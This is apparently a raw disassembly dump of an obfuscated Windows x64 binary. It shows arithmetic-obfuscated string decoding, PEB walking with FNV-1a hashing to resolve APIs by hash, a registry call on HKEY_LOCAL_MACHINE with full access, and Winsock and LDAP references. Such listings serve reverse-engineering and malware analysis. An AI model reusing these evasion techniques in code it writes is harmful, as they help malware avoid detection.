movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x140162aa2
mov byte [rbp + r9 + 0xfd0], dil
jmp 0x140162c35
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xfd0]
jmp 0x1401627a9
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xfd0]
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x140162ba1
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
add dil, dl
jmp 0x140162bd1
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x76
jmp 0x140162b69
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x140162aee
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xfd0], r8b
jmp 0x140162aeb
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
add r10, r12
sub r9, r12
jmp 0x140162c35
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xfd0], cl
jmp 0x140162b66
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140162c35
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xfd0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xfd0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140162c26
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r9 + 0xfd0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1401620d2
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401620cf
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x22
jmp 0x1401620bf
lea rdx, [rbp + 0x1600548]
jmp 0x140162ca1
lea rdx, [rbp + 0x1027062]
jmp 0x140162ca1
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x278]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1310]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140162cd6
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x1310]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1310]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1310]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x6a0], Ordinal_60
mov byte [rbp + 0x6a1], Ordinal_143
mov byte [rbp + 0x6a2], 0x61
mov byte [rbp + 0x6a3], 0xf3
mov byte [rbp + 0x6a4], 0x5a
mov byte [rbp + 0x6a5], 0xf1
mov byte [rbp + 0x6a6], 0x62
mov byte [rbp + 0x6a7], 0xf7
mov byte [rbp + 0x6a8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6a9], 0xf5
mov byte [rbp + 0x6aa], 0x5b
mov byte [rbp + 0x6ab], 0xfb
mov byte [rbp + 0x6ac], WSACleanup
mov byte [rbp + 0x6ad], 0xf9
mov byte [rbp + 0x6ae], 0x5b
mov byte [rbp + 0x6af], 0xff
mov byte [rbp + 0x6b0], sil
mov byte [rbp + 0x6b1], 0xfd
mov byte [rbp + 0x6b2], 0x59
mov byte [rbp + 0x6b3], 0xe3
mov byte [rbp + 0x6b4], Ordinal_79
mov byte [rbp + 0x6b5], 0xe1
mov byte [rbp + 0x6b6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6b7], 0xe7
mov byte [rbp + 0x6b8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6b9], 0xe5
mov byte [rbp + 0x6ba], 0x7f
mov byte [rbp + 0x6bb], 0xeb
mov byte [rbp + 0x6bc], 0x7a
mov byte [rbp + 0x6bd], 0xe9
mov byte [rbp + 0x6be], Ordinal_79
mov byte [rbp + 0x6bf], 0xef
mov byte [rbp + 0x6c0], 0x7a
mov byte [rbp + 0x6c1], 0xed
mov byte [rbp + 0x6c2], 0x88
mov byte [rbp + 0x6c3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6c4], 0x84
mov byte [rbp + 0x6c5], Ordinal_211
mov byte [rbp + 0x6c6], Ordinal_217
mov byte [rbp + 0x6c7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6c8], rax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x140163a3e
movzx r8d, byte [rbp + r9 + 0x6a0]
mov rdx, r8
cmp rbx, r9
ja 0x140163a35
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140162e98
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x4e
jmp 0x140162edc
je 0x1401639b4
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14016392b
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401638fc
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401638b0
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14016385f
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140163a2c
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x140162f02
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140163117
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14016383d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140163819
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401637f2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401637cb
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401637a8
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x1401634f6
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401634d3
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401634ac
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140163488
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140163474
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140163450
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14016342d
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14016340e
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x1401633eb
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401633c4
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140162f50
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140163a0a
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401639e6
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140163152
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14016312f
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140163108
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140163363
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140163305
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401632b5
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x14016328a
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140162f50
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140163276
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140163253
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140163230
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14016321c
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401631fa
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401631d3
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1401631b0
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14016318d
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140163179
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140162f50
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x140162f50
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162f43
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x140162edc
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140162e5f
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x14016384a
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x1401638a5
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401638a8
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401638ce
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x1401638f7
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401637da
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14016394d
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x14016397f
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401633d3
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
mov byte [rbp + r9 + 0x6a0], dil
jmp 0x1401639de
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 9
jb 0x1401632a8
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14016387d
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
cmp rbx, 0x1000
jae 0x14016374b
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x140163690
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x1401632d7
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x80
je 0x140163779
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x1401635d6
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140163323
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401639cf
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14016397f
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14016379d
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140163918
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x1401638f7
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14016364a
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x1401638a8
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401638a5
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x1401635fe
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x14016351d
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163384
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140163549
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x1401639cf
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140163576
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14016394a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401635a2
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140163918
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140163384
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401638f7
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140163606
movabs rdx, 0xb4987d18e7410842
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14016387d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140163632
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1401638a5
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14016365c
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14016376e
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140163323
movabs rdx, 0xb189cde364d7c22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401639cf
jne 0x1401636b5
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401639cf
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401636e1
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14016394d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401636fe
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401637da
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14016372a
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x1401638ce
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x1401632d7
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14016384a
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x6a0]
sub dil, al
sub dil, 0x50
add dil, dl
add dil, r8b
jmp 0x1401638ce
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x6a0]
add dil, r8b
add dil, dl
jmp 0x14016394d
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
jmp 0x14016394d
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163918
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401638f7
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401638a8
movabs rdx, 0xdc582daba1a1e692
mov ecx, r12d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14016387d
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6a0], cl
add r10, r12
sub r9, r12
jmp 0x1401639de
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 2
add r8b, dil
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r10
jmp 0x140163918
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x42
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401639de
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edi, [rax + rax]
add dil, cl
add dil, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6a0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401639cf
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, r14b
movzx eax, byte [rbp + r9 + 0x6a0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140162e4c
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x140162e49
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x140162e39
lea rsi, [rbp + 0x145e448]
jmp 0x140163a45
lea rsi, [rbp + 0x136ab86]
jmp 0x140163a45
lea rsi, [rbp + 0x6a0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x140163bb1
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r14, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140163abc
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140163aaf
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140163aa0
cmp edx, edi
jne 0x140163b95
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140163b95
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140163b95
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x140163b0e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140163b03
cmp edx, dword [rsp + 0x6c]
je 0x140163b24
test ebx, ebx
jne 0x140163aef
jmp 0x140163b95
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140163baa
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140163baa
mov eax, 0x811c9dc5
mov edi, eax
mov ecx, eax
mov dword [rsp + 0x6c], eax
jmp 0x140163b68
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x140163b5a
add r10, r12
mov al, byte [r10]
test al, al
je 0x140163b92
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x140163b79
mov dword [rsp + 0x6c], ecx
mov r8, qword [r14]
mov r8, qword [r8]
cmp r8, r14
je 0x140163ba7
cmp qword [r8 + 0x30], r13
jne 0x140163a6f
mov r10, r13
mov qword [0x1404fc178], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140163d5a
mov edi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, 0xcded1a85
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
mov r15d, 0x811c9dc5
test edi, edi
je 0x140163c64
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r15d
jmp 0x140163c56
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140163c45
cmp r8d, edi
jne 0x140163d49
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x140163d49
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140163d49
mov esi, dword [r11 + 0x20]
dec ebx
lea r8, [rsi + rbx*4]
mov r10d, dword [r8 + r9]
add r10, r9
mov r8d, r15d
jmp 0x140163cb6
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
add r10, r12
test dl, dl
jne 0x140163ca9
cmp r8d, r14d
je 0x140163ccb
test ebx, ebx
jne 0x140163c97
jmp 0x140163d49
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140163d51
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x140163d51
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x68], ecx
jmp 0x140163d0c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140163cfe
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140163d33
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140163d1b
mov dword [rsp + 0x68], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, dword [rsp + 0x68]
mov rax, qword [rax]
jmp 0x140163c11
mov qword [0x1404fc118], rdx
jmp 0x140163d60
mov r15d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140163ec9
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140163ddc
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140163dcf
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140163dc0
cmp edx, edi
jne 0x140163ead
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140163ead
